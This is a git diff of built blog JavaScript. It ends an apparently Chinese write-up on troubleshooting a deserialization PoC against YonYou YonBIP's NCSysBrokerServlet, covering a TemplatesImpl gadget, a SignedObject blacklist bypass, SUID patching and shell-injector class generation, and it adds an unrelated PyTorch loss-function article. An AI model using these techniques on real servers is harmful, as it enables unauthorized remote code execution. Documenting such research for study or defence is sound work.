TxlCarrier\u3001\u63d0\u53d6 Base64\u3001\u66f4\u65b0\u6e90\u7801"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6700\u7ec8\u65b9\u6848\uff1a\u8fd0\u884c\u65f6\u52a8\u6001\u7f16\u8bd1"})}),"\n",(0,l.jsx)(n.p,{children:"\u6539\u4e3a\u5728 PoC \u8fd0\u884c\u65f6\u81ea\u52a8\u5b8c\u6210\u5168\u6d41\u7a0b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"SHELL_B64\uff08\u552f\u4e00\u9700\u8981\u624b\u52a8\u66f4\u65b0\u7684\u503c\uff09\n \u2193 Base64 \u89e3\u7801\nShell \u5b57\u8282\u7801\n \u2193 \u89e3\u6790\u5e38\u91cf\u6c60\nShell \u7c7b\u540d\uff08\u5982 org.apache.commons.lang.v.SOAPUtils\uff09\n \u2193 \u586b\u5165\u6a21\u677f\nTxlCarrier.java\uff08\u542b\u6b63\u786e\u7c7b\u540d\uff09\n \u2193 javax.tools.JavaCompiler\uff08-source 8 -target 8\uff09\nTxlCarrier.class\uff08Java 8 \u5b57\u8282\u7801\uff0c\u8fd0\u884c\u65f6\u751f\u6210\uff09\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u53ea\u9700\u66ff\u6362 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u4e00\u4e2a\u503c\uff0c\u5176\u4f59\u5b8c\u5168\u81ea\u52a8\uff0c\u9002\u914d\u4efb\u610f Shell \u6ce8\u5165\u5668\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u4e5dedit-\u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f-base64-\u5b57\u7b26\u4e32",children:"\u95ee\u9898\u4e5d\uff1aEdit \u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f Base64 \u5b57\u7b26\u4e32"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4f7f\u7528 Edit tool \u5c1d\u8bd5\u66ff\u6362 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u6216 ",(0,l.jsx)(n.code,{children:"WRAPPER_B64"})," \u7684\u957f Base64 \u503c\u65f6\uff0c\u62a5\u9519\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"The `old_string` parameter could not be found in the file.\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsx)(n.p,{children:"\u957f Base64 \u5b57\u7b26\u4e32\uff08>5000 \u5b57\u7b26\uff09\u5728\u6587\u4ef6\u8bfb\u53d6\u548c Edit tool \u5185\u90e8\u5904\u7406\u65f6\uff0c\u53ef\u80fd\u56e0\u4e3a\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u884c\u957f\u5ea6\u8d85\u8fc7 IDE/\u5de5\u5177\u7684\u884c\u7f13\u51b2\u9650\u5236"}),"\n",(0,l.jsxs)(n.li,{children:["\u5b57\u7b26\u4e32\u4e2d\u7279\u6b8a\u5b57\u7b26\uff08",(0,l.jsx)(n.code,{children:"+"}),"\u3001",(0,l.jsx)(n.code,{children:"/"}),"\u3001",(0,l.jsx)(n.code,{children:"="}),"\uff09\u4e0e old_string \u5339\u914d\u5f15\u64ce\u7684\u8f6c\u4e49\u89c4\u5219\u51b2\u7a81"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsx)(n.p,{children:"\u5b8c\u5168\u6539\u7528 PowerShell \u6309\u884c\u7d22\u5f15\u64cd\u4f5c\uff0c\u5b8c\u5168\u7ed5\u8fc7\u5b57\u7b26\u4e32\u5339\u914d\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n# \u627e\u5230 SHELL_B64 \u5b9a\u4e49\u7684\u884c\u8303\u56f4\n$startLine = 27 # 0-indexed\uff0c\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u8c03\u6574\n$endLine = 33\n# \u6784\u5efa\u65b0\u884c\n$newDef = " static final String SHELL_B64 = `"$b64`";"\n# \u66ff\u6362\uff1a\u524d\u6bb5 + \u65b0\u884c + \u540e\u6bb5\n$newLines = [System.Collections.Generic.List[string]]::new()\n$newLines.AddRange($lines[0..($startLine-1)])\n$newLines.Add($newDef)\n$newLines.AddRange($lines[($endLine+1)..($lines.Length-1)])\n[IO.File]::WriteAllLines($path, $newLines,\n (New-Object System.Text.UTF8Encoding $false))\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u5341\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801mojibake",children:"\u95ee\u9898\u5341\uff1a\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801\uff08Mojibake\uff09"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.p,{children:"\u6253\u5f00 PoC \u6e90\u6587\u4ef6\u65f6\uff0c\u4e2d\u6587\u6ce8\u91ca\u663e\u793a\u4e3a\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"// \u9359\u5d85\u7c2d\u9352\u6940\u5bf2 PoC (\u9477\u59e9\u9356\u682b\u5897)\n// \u9239\u20ac\u9239\u20ac\u9239\u20ac \u6d60?class \u701b\u6944\u59ad\u942e\u4f78\u7236\u95b2\u5fd4\u775c\u7459\uff46\u703d this_class\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6e90\u6587\u4ef6\u539f\u672c\u662f UTF-8 \u7f16\u7801\u3002\u5728\u67d0\u6b21 PowerShell \u5904\u7406\u8fc7\u7a0b\u4e2d\uff0c\u7528\u4e86\u4e0d\u6b63\u786e\u7684\u7f16\u7801\u8bfb\u53d6\uff08\u5982 ",(0,l.jsx)(n.code,{children:"Get-Content"})," \u9ed8\u8ba4\u7684 Windows-1252 \u6216\u7cfb\u7edf ANSI \u7f16\u7801\uff09\uff0c\u518d\u4ee5\u8be5\u9519\u8bef\u7f16\u7801\u5199\u56de\uff0c\u5bfc\u81f4\u591a\u5b57\u8282 UTF-8 \u5e8f\u5217\u88ab\u9519\u8bef\u89e3\u91ca\u4e3a\u5355\u5b57\u8282\u5b57\u7b26\u7ec4\u5408\uff0c\u4ea7\u751f Mojibake\uff08\u4e71\u7801\uff09\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["UTF-8 \u4e2d\u6587\u5b57\u7b26\uff083 \u5b57\u8282\uff09\u88ab GBK/ANSI \u7f16\u7801\u89e3\u91ca\u540e\uff0c\u5bf9\u5e94\u7684 Unicode \u7801\u4f4d\u662f\u5b8c\u5168\u4e0d\u540c\u7684\u6c49\u5b57\uff08\u5982 ",(0,l.jsx)(n.code,{children:"\u9359\u5d85\u7c2d\u9352\u6940\u5bf2"})," \u5b9e\u4e3a ",(0,l.jsx)(n.code,{children:"\u53cd\u5e8f\u5217\u5316"})," \u7684 UTF-8 \u5b57\u8282\u88ab\u4ee5 GBK \u8bfb\u53d6\u7684\u7ed3\u679c\uff09\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5f3a\u5236\u7528 ",(0,l.jsx)(n.code,{children:"[IO.File]::ReadAllLines(path, [Text.Encoding]::UTF8)"})," \u8bfb\u53d6\uff0c\u7528 ",(0,l.jsx)(n.code,{children:"(New-Object System.Text.UTF8Encoding $false)"})," \u5199\u56de\uff08\u65e0 BOM\uff09\uff0c\u9010\u884c\u6309\u884c\u7d22\u5f15\u66ff\u6362\u4e71\u7801\u884c\u4e3a\u6b63\u786e\u4e2d\u6587\u5185\u5bb9\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"$utf8NoBom = [System.Text.UTF8Encoding]::new($false)\n$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n$lines[15] = ' * YonYou YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316 PoC (\u81ea\u52a8\u5316\u7248)'\n# ... \u5176\u4f59\u4e71\u7801\u884c ...\n[IO.File]::WriteAllLines($path, $lines, $utf8NoBom)\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u9884\u9632\u65b9\u6cd5"}),"\uff1a\u6240\u6709\u6587\u4ef6\u64cd\u4f5c\u59cb\u7ec8\u663e\u5f0f\u6307\u5b9a UTF-8\uff0c\u4e0d\u4f9d\u8d56\u7cfb\u7edf\u9ed8\u8ba4\u7f16\u7801\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u5341\u4e00templatesimpl-_name-\u4e3a-null-\u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad",children:["\u95ee\u9898\u5341\u4e00\uff1aTemplatesImpl ",(0,l.jsx)(n.code,{children:"_name"})," \u4e3a null \u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u4e0d\u629b\u5f02\u5e38\uff0c\u4e5f\u4e0d\u6267\u884c Shell\uff0c\u8fd4\u56de ",(0,l.jsx)(n.code,{children:"null"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u67e5\u770b ",(0,l.jsx)(n.code,{children:"getTransletInstance()"})," \u6e90\u7801\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"private Translet getTransletInstance() {\n if (_name == null) return null; // \u2190 \u8fd9\u91cc\uff01\n if (_class == null) defineTransletClasses();\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c ",(0,l.jsx)(n.code,{children:"_name"})," \u5b57\u6bb5\u4e3a null\uff08\u6ca1\u6709\u663e\u5f0f set\uff09\uff0c\u76f4\u63a5\u8fd4\u56de null\uff0c",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u6839\u672c\u4e0d\u4f1a\u6267\u884c\uff0c\u6574\u6761\u94fe\u8def\u5728\u6700\u65e9\u671f\u5c31\u65e0\u58f0\u4e2d\u65ad\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6784\u5efa TemplatesImpl \u65f6\u5fc5\u987b\u7528\u53cd\u5c04\u8bbe\u7f6e ",(0,l.jsx)(n.code,{children:"_name"})," \u4e3a\u4efb\u610f\u975e\u7a7a\u5b57\u7b26\u4e32\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'setField(templates, "_name", "x"); // \u503c\u4efb\u610f\uff0c\u975e null \u5373\u53ef\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u662f\u4e2a\u975e\u5e38\u5bb9\u6613\u6f0f\u6389\u7684\u7ec6\u8282\uff0c\u56e0\u4e3a ",(0,l.jsx)(n.code,{children:"_name"}),' \u5728\u6b63\u5e38 XSLT \u4f7f\u7528\u4e2d\u662f\u6a21\u677f\u540d\u79f0\uff0c\u6709\u9ed8\u8ba4\u4e1a\u52a1\u542b\u4e49\uff0c\u4f46\u5728\u5229\u7528\u94fe\u4e2d\u5b83\u53ea\u662f\u4e00\u4e2a"\u5f00\u5173"\u3002']}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8",children:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'\u9636\u6bb5\u4e00\uff1a\u521d\u59cb\u6784\u5efa\n \u2717 \u9ed1\u540d\u5355\u76f4\u63a5\u62e6\u622a \u2192 \u6539\u7528 SignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\n\n\u9636\u6bb5\u4e8c\uff1a\u9996\u6b21\u8fd0\u884c\u62a5\u9519\n \u2717 SHELL_B64 \u622a\u65ad \u2192 StringIndexOutOfBoundsException \u2192 \u66ff\u6362\u5b8c\u6574 base64\n \u2717 PowerShell \u66ff\u6362\u53ea\u6539\u7b2c\u4e00\u884c \u2192 Base64 incorrect ending byte \u2192 \u6309\u884c\u7d22\u5f15\u66ff\u6362\u6574\u5757\n \u2717 \u6587\u4ef6\u7f16\u7801\u635f\u574f \u2192 javac illegal character \u2192 \u5f3a\u5236 UTF-8 \u8bfb\u5199\n\n\u9636\u6bb5\u4e09\uff1a\u7f16\u8bd1\u95ee\u9898\n \u2717 --release \u4e0d\u652f\u6301\uff08Java 8 JDK\uff09\u2192 \u6539\u7528 -source 8 -target 8\n \u2717 Edit tool \u65e0\u6cd5\u5339\u914d\u957f base64 \u2192 \u6539\u7528 PowerShell \u884c\u66ff\u6362\n\n\u9636\u6bb5\u56db\uff1a\u9759\u9ed8\u5931\u8d25\u6392\u67e5\uff08\u6700\u96be\uff09\n \u2717 TxlCarrier \u6709 transform() \u65b9\u6cd5\u5f15\u7528 \u2192 VerifyError \u88ab\u541e \u2192 \u6539\u7528\u5047 AbstractTranslet\n \u2717 \u5b57\u8282\u7801 major=55\uff08Java 11\uff09\u2192 UnsupportedClassVersionError \u88ab\u541e \u2192 -source 8 -target 8\n \u2717 _name \u4e3a null \u2192 getTransletInstance \u76f4\u63a5\u8fd4\u56de null \u2192 set _name = "x"\n\n\u9636\u6bb5\u4e94\uff1a\u670d\u52a1\u7aef\u7248\u672c\u9002\u914d\n \u2717 SUID \u4e0d\u5339\u914d\uff085.3.39 vs 5.3.20\uff09\u2192 InvalidClassException \u2192 \u5b57\u8282\u7ea7 patch SUID\n\n\u9636\u6bb5\u516d\uff1a\u65b9\u6848\u91cd\u6784\n \u2717 WRAPPER_B64 \u786c\u7f16\u7801\u7c7b\u540d\u4e0d\u9002\u5e94\u6362 Shell \u2192 \u6539\u4e3a\u8fd0\u884c\u65f6\u52a8\u6001\u7f16\u8bd1 + \u81ea\u52a8\u7c7b\u540d\u63d0\u53d6\n\n\u9636\u6bb5\u4e03\uff1a\u6587\u4ef6\u7ef4\u62a4\n \u2717 \u4e2d\u6587\u6ce8\u91ca Mojibake \u2192 \u6309\u884c\u7d22\u5f15\u91cd\u65b0\u5199\u5165\u6b63\u786e UTF-8 \u5185\u5bb9\n\n\u6700\u7ec8\uff1a\u2713 Payload \u751f\u6210\u6210\u529f\uff0cgetshell\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u516d\u53c2\u8003\u8d44\u6599",children:"\u5341\u516d\u3001\u53c2\u8003\u8d44\u6599"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"TemplatesImpl.defineTransletClasses()"})," \u6e90\u7801\uff1aJDK ",(0,l.jsx)(n.code,{children:"com.sun.org.apache.xalan.internal.xsltc.trax"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"SignedObject.getObject()"})," \u6e90\u7801\uff1aJDK ",(0,l.jsx)(n.code,{children:"java.security"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"PriorityQueue.readObject()"})," \u6e90\u7801\uff1aJDK ",(0,l.jsx)(n.code,{children:"java.util"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy.invoke()"})," \u6e90\u7801\uff1aSpring Framework ",(0,l.jsx)(n.code,{children:"org.springframework.aop.framework"})]}),"\n",(0,l.jsx)(n.li,{children:"Java class \u6587\u4ef6\u683c\u5f0f\uff1aJVM Spec \xa74\uff08The class File Format\uff09"}),"\n",(0,l.jsx)(n.li,{children:"Java \u5e8f\u5217\u5316\u6d41\u683c\u5f0f\uff1aJava Object Serialization Specification \xa76"}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/00838bb7.28f6d4ca.js b/en/assets/js/00838bb7.28f6d4ca.js new file mode 100644 index 0000000..f5a9aa6 --- /dev/null +++ b/en/assets/js/00838bb7.28f6d4ca.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1983],{2383:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>o,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","title":"3.6 \u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316"},"next":{"title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30"}}');var t=s(74848),i=s(28453);const o={},l="3.6 \u635f\u5931\u51fd\u6570.md",c={},d=[{value:"3.5.1 \u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",id:"351-\u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.2 \u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",id:"352-\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.3 L1\u635f\u5931\u51fd\u6570",id:"353-l1\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.4 MSE\u635f\u5931\u51fd\u6570",id:"354-mse\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.5 \u5e73\u6ed1L1 (Smooth L1)\u635f\u5931\u51fd\u6570",id:"355-\u5e73\u6ed1l1-smooth-l1\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.6 \u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931",id:"356-\u76ee\u6807\u6cca\u677e\u5206\u5e03\u7684\u8d1f\u5bf9\u6570\u4f3c\u7136\u635f\u5931",level:2},{value:"3.5.7 KL\u6563\u5ea6",id:"357-kl\u6563\u5ea6",level:2},{value:"3.5.8 MarginRankingLoss",id:"358-marginrankingloss",level:2},{value:"3.5.9 \u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570",id:"359-\u591a\u6807\u7b7e\u8fb9\u754c\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.10 \u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570",id:"3510-\u4e8c\u5206\u7c7b\u635f\u5931\u51fd\u6570",level:2},{value:"3.5.11 \u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931",id:"3511-\u591a\u5206\u7c7b\u7684\u6298\u9875\u635f\u5931",level:2},{value:"3.5.12 \u4e09\u5143\u7ec4\u635f\u5931",id:"3512-\u4e09\u5143\u7ec4\u635f\u5931",level:2},{value:"3.5.13 HingEmbeddingLoss",id:"3513-hingembeddingloss",level:2},{value:"3.5.14 \u4f59\u5f26\u76f8\u4f3c\u5ea6",id:"3514-\u4f59\u5f26\u76f8\u4f3c\u5ea6",level:2},{value:"3.5.15 CTC\u635f\u5931\u51fd\u6570",id:"3515-ctc\u635f\u5931\u51fd\u6570",level:2}];function a(n){const e={br:"br",code:"code",em:"em",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"36-\u635f\u5931\u51fd\u6570md",children:"3.6 \u635f\u5931\u51fd\u6570.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"36-\u635f\u5931\u51fd\u6570",children:"3.6 \u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u6df1\u5ea6\u5b66\u4e60\u5e7f\u4e3a\u4f7f\u7528\u7684\u4eca\u5929\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u8111\u6d77\u91cc\u6e05\u6670\u7684\u77e5\u9053\uff0c\u4e00\u4e2a\u6a21\u578b\u60f3\u8981\u8fbe\u5230\u5f88\u597d\u7684\u6548\u679c\u9700\u8981",(0,t.jsx)(e.strong,{children:"\u5b66\u4e60"}),"\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5e38\u8bf4\u7684\u8bad\u7ec3\u3002\u4e00\u4e2a\u597d\u7684\u8bad\u7ec3\u79bb\u4e0d\u5f00\u4f18\u8d28\u7684\u8d1f\u53cd\u9988\uff0c\u8fd9\u91cc\u7684\u635f\u5931\u51fd\u6570\u5c31\u662f\u6a21\u578b\u7684\u8d1f\u53cd\u9988\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:s(7169).A+"",width:"733",height:"252"})}),"\n",(0,t.jsx)(e.p,{children:"\u6240\u4ee5\u5728PyTorch\u4e2d\uff0c\u635f\u5931\u51fd\u6570\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u3002\u5b83\u662f\u6570\u636e\u8f93\u5165\u5230\u6a21\u578b\u5f53\u4e2d\uff0c\u4ea7\u751f\u7684\u7ed3\u679c\u4e0e\u771f\u5b9e\u6807\u7b7e\u7684\u8bc4\u4ef7\u6307\u6807\uff0c\u6211\u4eec\u7684\u6a21\u578b\u53ef\u4ee5\u6309\u7167\u635f\u5931\u51fd\u6570\u7684\u76ee\u6807\u6765\u505a\u51fa\u6539\u8fdb\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u5c06\u5f00\u59cb\u63a2\u7d22PyTorch\u7684\u6240\u62e5\u6709\u7684\u635f\u5931\u51fd\u6570\u3002\u8fd9\u91cc\u5c06\u5217\u51faPyTorch\u4e2d\u5e38\u7528\u7684\u635f\u5931\u51fd\u6570\uff08\u4e00\u822c\u901a\u8fc7torch.nn\u8c03\u7528\uff09\uff0c\u5e76\u8be6\u7ec6\u4ecb\u7ecd\u6bcf\u4e2a\u635f\u5931\u51fd\u6570\u7684\u529f\u80fd\u4ecb\u7ecd\u3001\u6570\u5b66\u516c\u5f0f\u548c\u8c03\u7528\u4ee3\u7801\u3002\u5f53\u7136\uff0cPyTorch\u7684\u635f\u5931\u51fd\u6570\u8fd8\u8fdc\u4e0d\u6b62\u8fd9\u4e9b\uff0c\u5728\u89e3\u51b3\u5b9e\u9645\u95ee\u9898\u7684\u8fc7\u7a0b\u4e2d\u9700\u8981\u8fdb\u4e00\u6b65\u63a2\u7d22\u3001\u501f\u9274\u73b0\u6709\u5de5\u4f5c\uff0c\u6216\u8005\u8bbe\u8ba1\u81ea\u5df1\u7684\u635f\u5931\u51fd\u6570\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\u5e38\u89c1\u7684\u635f\u5931\u51fd\u6570\u53ca\u5176\u5b9a\u4e49\u65b9\u5f0f"}),"\n",(0,t.jsx)(e.li,{children:"PyTorch\u4e2d\u635f\u5931\u51fd\u6570\u7684\u8c03\u7528"}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"351-\u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570",children:"3.5.1 \u4e8c\u5206\u7c7b\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.BCELoss(weight=None, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd"}),"\uff1a\u8ba1\u7b97\u4e8c\u5206\u7c7b\u4efb\u52a1\u65f6\u7684\u4ea4\u53c9\u71b5\uff08Cross Entropy\uff09\u51fd\u6570\u3002\u5728\u4e8c\u5206\u7c7b\u4e2d\uff0clabel\u662f{0,1}\u3002\u5bf9\u4e8e\u8fdb\u5165\u4ea4\u53c9\u71b5\u51fd\u6570\u7684input\u4e3a\u6982\u7387\u5206\u5e03\u7684\u5f62\u5f0f\u3002\u4e00\u822c\u6765\u8bf4\uff0cinput\u4e3asigmoid\u6fc0\u6d3b\u5c42\u7684\u8f93\u51fa\uff0c\u6216\u8005softmax\u7684\u8f93\u51fa\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570"}),"\uff1a"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"weight"}),":\u6bcf\u4e2a\u7c7b\u522b\u7684loss\u8bbe\u7f6e\u6743\u503c"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"size_average"}),":\u6570\u636e\u4e3abool\uff0c\u4e3aTrue\u65f6\uff0c\u8fd4\u56de\u7684loss\u4e3a\u5e73\u5747\u503c\uff1b\u4e3aFalse\u65f6\uff0c\u8fd4\u56de\u7684\u5404\u6837\u672c\u7684loss\u4e